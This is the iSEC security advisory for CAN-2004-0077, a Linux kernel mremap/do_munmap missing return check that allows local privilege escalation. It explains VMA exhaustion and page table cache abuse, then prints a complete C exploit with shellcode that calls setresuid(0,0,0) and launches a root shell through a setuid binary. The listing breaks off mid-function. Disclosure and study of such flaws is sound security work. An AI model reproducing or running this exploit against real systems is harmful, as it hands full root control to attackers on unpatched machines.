Synopsis: Linux kernel do_mremap VMA limit local privilege escalation
vulnerability
Product: Linux kernel
Version: 2.2 up to and including 2.2.25, 2.4 up to to and including 2.4.24,
2.6 up to to and including 2.6.2
Vendor: http://www.kernel.org/
URL: http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
CVE: CAN-2004-0077
Author: Paul Starzetz <ihaquer@isec.pl>
Date: March 1, 2004

Issue:
======

A critical security vulnerability has been found in the Linux kernel memory
management code inside the mremap(2) system call due to missing function return
value check. This bug is completely unrelated to the mremap bug disclosed on
05-01-2004 except concerning the same internal kernel function code.

Details:
========

The Linux kernel manages a list of user addressable valid memory locations on a
per process basis. Every process owns a single linked list of so called virtual
memory area descriptors (called from now on just VMAs). Every VMA describes the
start of a valid memory region, its length and moreover various memory flags
like page protection.

Every VMA in the list corresponds to a part of the process’s page table. The
page table contains descriptors (in short page table entries PTEs) of physical
memory pages seen by the process. The VMA descriptor can be thus understood as a
high level description of a particular region of the process’s page table
storing PTE properties like page R/W flag and so on.

The mremap() system call provides resizing (shrinking or growing) as well as
moving of existing virtual memory areas or any of its parts across process’s
addressable space.

Moving a part of the virtual memory from inside a VMA area to a new location
requires creation of a new VMA descriptor as well as copying the underlying page
table entries described by the VMA from the old to the new location in the
process’s page table.

To accomplish this task the do_mremap code calls the do_munmap() internal kernel
function to remove any potentially existing old memory mapping in the new
location as well as to remove the old virtual memory mapping. Unfortunately the
code doesn’t test the return value of the do_munmap() function which may fail if
the maximum number of available VMA descriptors has been exceeded. This happens
if one tries to unmap middle part of an existing memory mapping and the
process’s limit on the number of VMAs has been reached (which is currently
65535).

One of the possible situations can be illustrated with the following picture.
The corresponding page table entries (PTEs) have been marked with o and x:

Before mremap():

(oooooooooooooooooooooooo) (xxxxxxxxxxxx)
[----------VMA1----------] [----VMA2----]
[REMAPPED-VMA] <---------------|

After mremap() without VMA limit:

(oooo)(xxxxxxxxxxxx)(oooo)
[VMA3][REMAPPED-VMA][VMA4]

After mremap() but VMA limit:

(ooooxxxxxxxxxxxxxxoooo)
[---------VMA1---------]
[REMAPPED-VMA]

After the maximum number of VMAs in the process’s VMA list has been reached
do_munmap() will refuse to create the necessary VMA hole because it would split
the original VMA in two disjoint VMA areas exceeding the VMA descriptor limit.

Due to the missing return value check after trying to unmap the middle of the
VMA1 (this is the first invocation of do_munmap inside do_mremap code) the
corresponding page table entries from VMA2 are still inserted into the page
table location described by VMA1 thus being subject to VMA1 page protection
flags. It must be also mentioned that the original PTEs in the VMA1 are lost
thus leaving the corresponding page frames unusable for ever.

The kernel also tries to insert the overlapping VMA area into the VMA descriptor
list but this fails due to further checks in the low level VMA manipulation
code. The low level VMA list check in the 2.4 and 2.6 kernel versions just call
BUG() therefore terminating the malicious process.

There are also two other unchecked calls to do_munmap() inside the do_mremap()
code and we believe that the second occurrence of unchecked do_munmap is also
exploitable. The second occurrence takes place if the VMA to be remapped is
beeing truncated in place. Note that do_munmap can also fail on an exceptional
low memory condition while trying to allocate a VMA descriptor.

Exploitation:
=============

The vulnerability turned out to be very easily exploitable. Our first guess was
to move PTEs from one VMA mapping a read-only file (like /etc/passwd) to another
writeable VMA. This approach failed because after the BUG() macro has been
invoked the mmap semaphore of the memory descriptor is left in a closed (that is
down_write()) state thus preventing any further memory operations which acquire
the semaphore in other clone threads.

So our attention came over the page table cache code which was introduced early
in the 2.4 series but not enabled by default. Kernels later than the 2.4.19
enable the page table cache. The basic idea of a page table cache is to keep
free page frames recently used for the page tables in a linked list to speed up
the allocation of new page tables.

On Linux every process owns a reference to a memory descriptor (mm_struct) which
contains a pointer to a page directory. The page directory is a single page
frame (we describe the 4kb sized pages case without PAE) containing 1024
pointers to the page tables. A single page table page on the i386 architecture
holds 1024 PTEs describing up to 4MB of process’s virtual memory. A single PTE
contains the physical address of the page mapped at the PTE’s virtual address
and the page access rights.

The page tables are allocated on demand if a page fault occurs. They are also
freed and the corresponding page frames released to the memory manager if a
process unmaps parts of its virtual memory spanning at least one page table page
that is a region containing at least a 4MB sized and 4MB aligned memory area.

There are two paths if a new page table must be allocated: the slow and the fast
one. The fast path takes one page from the head of the page table cache while
the slow one just calls get_free_page(). This works well if the pages from the
page table cache have been properly cleared before inserting them into the
cache. Normally the page tables are cleared by zap_page_range() which is called
from do_munmap. It is very important for the proper operation of the Linux
memory management that all locations of the process’s page table actually
containing a valid PTE are covered by the corresponding VMA descriptor.

In the case of the unchecked do_munmap inside the mremap code we have found a
condition leaving a part of the page table uncovered by a VMA. The offending
code is:

[269] if (old_len >= new_len) {
do_munmap(current->mm, addr+new_len, old_len - new_len);
if (!(flags & MREMAP_FIXED) || (new_addr == addr))
goto out;
}

This piece of code is responsible for truncating the VMA the user wants to remap
in place. It can be easily seen that do_munmap will fail if [addr+new_len,
addr+new_len + (old_len-new_len)] goes into the middle of a VMA and the maximum
number of allowed VMA descriptors has been already used by the process. That
means also that the page table will still contain valid PTEs from addr+new_len
on. Later in the mremap code a part of the corresponding VMA is moved and
truncated:

[179] if (!move_page_tables(current->mm, new_addr, addr, old_len)) {
unsigned long vm_locked = vma->vm_flags & VM_LOCKED;

if (allocated_vma) {
*new_vma = *vma;
new_vma->vm_start = new_addr;
new_vma->vm_end = new_addr+new_len;
new_vma->vm_pgoff += (addr-vma->vm_start) >> PAGE_SHIFT;

but more PTEs (namely old_len) than the length of the created VMA are moved from
the old location if a new location has been specified along with the
MREMAP_MAYMOVE flag. This works well only if the previous do_munmap did not
fail. This situation can be illustrated as follows:

before mremap:

<-- old_len -->
(oooooooooooooooooooooooooooo)
[------|-----VMA1-----|------]
|---------------------------------> new_addr

after mremap, no VMA limit:
new_len
(oooooo) (oooooo) (oooooo)
[-VMA1-] [-VMA3-] [-VMA2-]

after mremap but VMA limit:
new_len [*]
(oooooo oooooo) (oooooo)ooooooooo
[-----------VMA1-------------] [-VMA2-]

Those [*] ’ownerless’ PTE entries in the page table can be further exploited
since the memory manager has lost track of them. If the process now unmaps a
sufficiently big area of memory covering those ownerless PTEs, the underlying
page table frame will be inserted into the page table cache but will still
contain valid PTEs. That means that on the next page table frame allocation
inside process P for an address A our PTEs will appear in the page table of the
process P! If that process tries to access the virtual memory at the address A
there won’t be also a page fault if the PTEs have appropriate (read or write)
access rights. In other words: through the page table cache we are able to
insert any data into the virtual memory space of another process.

Our code takes the way through a setuid binary, however this is not the only one
possibility. We prepare the page table cache so that there is a single empty
page frame in front of the cache and then a special page table containing ’self
executing’ pages. To fully understand how it works we must dig into the execve()
system call.

If an user calls execve() the kernel removes all traces of the current
executable including the virtual memory areas and page tables allocated to the
process. Then a new VMA for the stack on top of the virtual memory is created
where the program environment and arguments to the new binary are stored (they
have been preserved in kernel memory). This causes a first page table frame to
be allocated for the virtual memory region ranging from 0xbfc00000-0xc0000000.

As next the .text and .data sections of the binary to be executed as well as the
program interpreter responsible for further loading are mapped into the fresh
virtual memory space. For the ELF linking format this is usually the ld.so
dynamic linker. At this point the kernel does not allocate the underlying page
tables. Only VMA descriptors are inserted into the process’s VMA list.

After doing some more work not important for the following the kernel transfers
control to the dynamic linker to execute the binary. This causes a second page
fault and triggers demand loading of the first code page of the dynamic linker.
On a standard Linux kernel this will also allocate a page frame for the page
table ranging from 0x40000000 to 0x40400000.

On a kernel with page table cache enabled both allocations will take page frames
from the cache first. That means that if the second page in the cached page list
contains valid PTEs those could appear instead of the regular dynamic linker
code. It is easy to place the PTEs so that they will shadow the code section of
the dynamic linker. Note that the first PTE entry of a page is used by the cache
code to maintain the page list. In our code we populate the page table cache
with special frames containing PTEs to pages with a short shell code at the end
of the page and fill the pages with a NOP landing zone.

We must also mention that the first mremap hole disclosed on 05-01-2004 can be
also very easily exploited through the page table cache. Details are left for
the skilled reader.

A second possibility to exploit the mremap bug is to create another VMA covering
ownerless PTEs from a read-only file like /etc/passwd.

Impact:
=======

Since no special privileges are required to use the mremap(2) system call any
process may use its unexpected behavior to disrupt the kernel memory management
subsystem.

Proper exploitation of this vulnerability leads to local privilege escalation
giving an attacker full super-user privileges. The vulnerability may also lead
to a denial-of-service attack on the available system memory.

Tested and known to be vulnerable kernel versions are all <= 2.2.25, <= 2.4.24
and <= 2.6.2. The 2.2.25 version of Linux kernel does not recognize the
MREMAP_FIXED flag but this does not prevent the bug from being successfully
exploited. All users are encouraged to patch all vulnerable systems as soon as
appropriate vendor patches are released. There is no hotfix for this
vulnerability. Limited per user virtual memory still permits do_munmap() to
fail.

Credits:
========

Paul Starzetz <ihaquer@isec.pl> has identified the vulnerability and performed
further research. COPYING, DISTRIBUTION, AND MODIFICATION OF INFORMATION
PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF ONE OF THE AUTHORS.

Disclaimer:
===========

This document and all the information it contains are provided "as is", for
educational purposes only, without warranty of any kind, whether express or
implied.

The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in this
document. Liability claims regarding damage caused by the use of any information
provided, including any kind of information which is incomplete or incorrect,
will therefore be rejected.

/*
*
* mremap missing do_munmap return check kernel exploit
*
* gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
* ./mremap_pte [suid] [[shell]]
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/utsname.h>

#include <asm/page.h>

#define str(s) #s
#define xstr(s) str(s)

// this is for standard kernels with 3/1 split
#define STARTADDR 0x40000000
#define PGD_SIZE (PAGE_SIZE * 1024)
#define VICTIM (STARTADDR + PGD_SIZE)
#define MMAP_BASE (STARTADDR + 3*PGD_SIZE)

#define DSIGNAL SIGCHLD
#define CLONEFL (DSIGNAL|CLONE_VFORK|CLONE_VM)

#define MREMAP_MAYMOVE ( (1UL) << 0 )
#define MREMAP_FIXED ( (1UL) << 1 )

#define __NR_sys_mremap __NR_mremap

// how many ld.so pages? this is the .text section length (like from cat
// /proc/self/maps) in pages
#define LINKERPAGES 0x14

// suid victim
static char *suid="/bin/ping";

// shell to start
static char *launch="/bin/bash";

_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,
ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
unsigned long new_len, unsigned long flags,
unsigned long new_addr);

static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
static int i, pid=0;
static char *env[2], *argv[2];
static ulong ret;

// code to appear inside the suid image
static void suid_code(void)
{
__asm__(
" call callme \n"

// setresuid(0, 0, 0), setresgid(0, 0, 0)
"jumpme: xorl %ebx, %ebx \n"
" xorl %ecx, %ecx \n"
" xorl %edx, %edx \n"
" xorl %eax, %eax \n"
" mov $"xstr(__NR_setresuid)", %al \n"
" int $0x80 \n"
" mov $"xstr(__NR_setresgid)", %al \n"
" int $0x80 \n"

// execve(launch)
" popl %ebx \n"
" andl $0xfffff000, %ebx \n"
" xorl %eax, %eax \n"
" pushl %eax \n"
" movl %esp, %edx \n"
" pushl %ebx \n"
" movl %esp, %ecx \n"
" mov $"xstr(__NR_execve)", %al \n"
" int $0x80 \n"

// exit
" xorl %eax, %eax \n"
" mov $"xstr(__NR_exit)", %al \n"
" int $0x80 \n"

"callme: jmp jumpme \n"
);
}

static int suid_code_end(int v)
{
return v+1;
}

static inline void get_esp(void)
{
__asm__(
" movl %%esp, %%eax \n"
" andl $0xfffff000, %%eax \n"
" movl %%eax, %0 \n"
: : "m"(old_esp)
);
}

static inline void cloneme(void)
{
__asm__(
" pusha \n"
" movl $("xstr(CLONEFL)"), %%ebx \n"
" movl %%esp, %%ecx \n"
" movl $"xstr(__NR_clone)", %%eax \n"
" int $0x80 \n"
" movl %%eax, %0 \n"
" popa \n"
: : "m"(pid)
);
}

static inline void my_execve(void)
{
__asm__(
" movl %1, %%ebx \n"
" movl %2, %%ecx \n"
" movl %3, %%edx \n"
" movl $"xstr(__NR_execve)", %%eax \n"
" int $0x80 \n"
: "=a"(ret)
: "m"(suid), "m"(argv), "m"(env)
);
}

static inline void pte_populate(unsigned addr)
{
unsigned r;
char *ptr;

memset((void*)addr, 0x90, PAGE_SIZE);
r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
ptr = (void*) (addr + PAGE_SIZE);
ptr -= r+1;
memcpy(ptr, suid_code, r);
memcpy((void*)addr, launch, strlen(launch)+1);
}

// hit VMA limit & populate PTEs
static void exhaust(void)
{
// mmap PTE donor
t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(MAP_FAILED==t)
goto failed;

// prepare shell code pages
for(i=2; i<LINKERPAGES+1; i++)
pte_populate(victim + PAGE_SIZE*i);
i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
if(i)
goto failed;

// lock unmap
base = MMAP_BASE;
cnt = 0;
prot = PROT_READ;
printf("\n"); fflush(stdout);
for(;;) {
t = mmap((void*)base, PAGE_SIZE, prot,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(MAP_FAILED==t) {
if(ENOMEM==errno)
break;
else
goto failed;
}
if( !(cnt%512) || cnt>65520 )
printf("\r MMAP #%d 0x%.8x - 0x%.8lx", cnt, base,
base+PAGE_SIZE); fflush(stdout);
base += PAGE_SIZE;
prot ^= PROT_EXEC;
cnt++;
}

// move PTEs & populate page table cache
ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,
MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
if(-1==ret)
goto failed;

munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,
PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
0);
if(MAP_FAILED==t)
goto failed;

*t = *((unsigned *)old_esp);
munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
printf("\n[+] Success\n\n"); fflush(stdout);
return;

failed:
printf("\n[-] Failed\n"); fflush(stdout);
_exit(0);
}

static inline void check_kver(void)
{
static struct utsname un;
int a=0, b=0, c=0, v=0, e=0, n;

uname(&un);
n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
if(n!=3 || a!=2) {
printf("\n[-] invalid kernel version string\n");
_exit(0);
}

if(b==2) {
if(c<=25)
v=1;
}
else if(b==3) {
if(c<=99)
v=1;
}
else if(b==4) {
if(c>18 && c<=24)
v=1, e=1;
else if(c>24)
v=0, e=0;
else
v=1, e=0;
}
else if(b==5 && c<=75)
v=1, e=1;
else if(b==6 && c<=2)
v=1, e=1;

printf("\n[+] kernel %s vulnerable: %s exploitable %s",
un.release, v? "YES" : "NO", e? "YES" : "NO" );
fflush(stdout);

if(v && e)
return;
_exit(0);
}

int main(int ac, char **av)
{
// prepare
check_kver();
memset(env, 0, sizeof(env));
memset(argv, 0, sizeof(argv));
if(ac>1) suid=av[1];
if(ac>2) launch=av[2];
argv[0] = suid;
get_esp();

// mmap & clone & execve
exhaust();
cloneme();
if(!pid) {
my_execve();
} else {
waitpid(pid, 0, 0);
}